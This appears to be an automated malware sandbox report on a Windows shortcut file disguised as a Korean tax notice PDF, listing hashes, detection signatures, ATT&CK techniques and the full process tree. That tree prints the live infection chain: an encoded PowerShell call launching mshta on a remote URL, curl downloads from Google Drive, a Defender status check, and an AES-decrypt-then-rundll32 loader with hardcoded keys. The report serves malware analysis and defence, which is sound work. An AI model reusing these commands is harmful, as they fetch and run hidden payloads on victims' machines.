7fc0ea9d7d0262e25afa38a6dedf991e632b718add4d69fbee0ec832688fc8eb

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/07/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
국세 고지서.pdf.lnk
Size 2KB
Sample260703-ph4lesgz71
SHA256 7fc0ea9d7d0262e25afa38a6dedf991e632b718add4d69fbee0ec832688fc8eb
MD5 ae445e1e0853e28aa58ec7ca10afe293
SHA1 8c57eae2e3ba2455bce8a4359ccfc2eb5a9496e5
SHA512 e3f49f07c7c2732a6b0a82e4ca3f34dc20448a0c3cc320e85d515522e2d59b3f150280eca9363c9862dd1cd8b1299f9c405a6707c28de667daf0e5c03a99265f
TLSH
T15F5121112EF602BEF37387B257FB76186636F8789B0709AC40D212001E51614E87AFBB
MD5 SHA1 SHA512 TLSH

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/HHevemp

Signatures

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4268	mshta.exe
3	4268	mshta.exe
4	4268	mshta.exe
5	4268	mshta.exe
6	4268	mshta.exe
7	4268	mshta.exe
8	4268	mshta.exe
9	4268	mshta.exe
10	4268	mshta.exe
11	4268	mshta.exe
12	4268	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
19	drive.google.com
1	drive.google.com
13	drive.google.com
14	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5792	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 3460	4828	cmd.exe	89
PID 3460 wrote to memory of 4268	3460	powershell.exe	90
PID 4268 wrote to memory of 3948	4268	mshta.exe	91
PID 4268 wrote to memory of 4736	4268	mshta.exe	92
PID 3948 wrote to memory of 5940	3948	cmd.exe	95
PID 4736 wrote to memory of 5792	4736	cmd.exe	96
PID 4268 wrote to memory of 3208	4268	mshta.exe	97
PID 3208 wrote to memory of 2088	3208	cmd.exe	99
PID 4268 wrote to memory of 3464	4268	mshta.exe	100
PID 3464 wrote to memory of 4048	3464	cmd.exe	102

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\국세 고지서.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBIAEgAZQB2AGUAbQBwACIA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/HHevemp
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK" && temp.pdf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3948
    - - C:\Windows\system32\curl.exe
        
        curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK"
        5⤵
        
        PID:5940
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4736
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:5792
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3208
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJ"
        5⤵
        
        PID:2088
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,n
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn"
        5⤵
        
        PID:4048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3460-2-0x00007FF8467DF000-0x00007FF8467E0000-memory.dmp

Download

memory/3460-5-0x0000027F67A00000-0x0000027F67A22000-memory.dmp

Download

memory/3460-6-0x00007FF846650000-0x00007FF846FF4000-memory.dmp

Download

memory/3460-7-0x00007FF846650000-0x00007FF846FF4000-memory.dmp

Download

memory/3460-9-0x00007FF846650000-0x00007FF846FF4000-memory.dmp

Download

memory/3460-10-0x00007FF846650000-0x00007FF846FF4000-memory.dmp

Download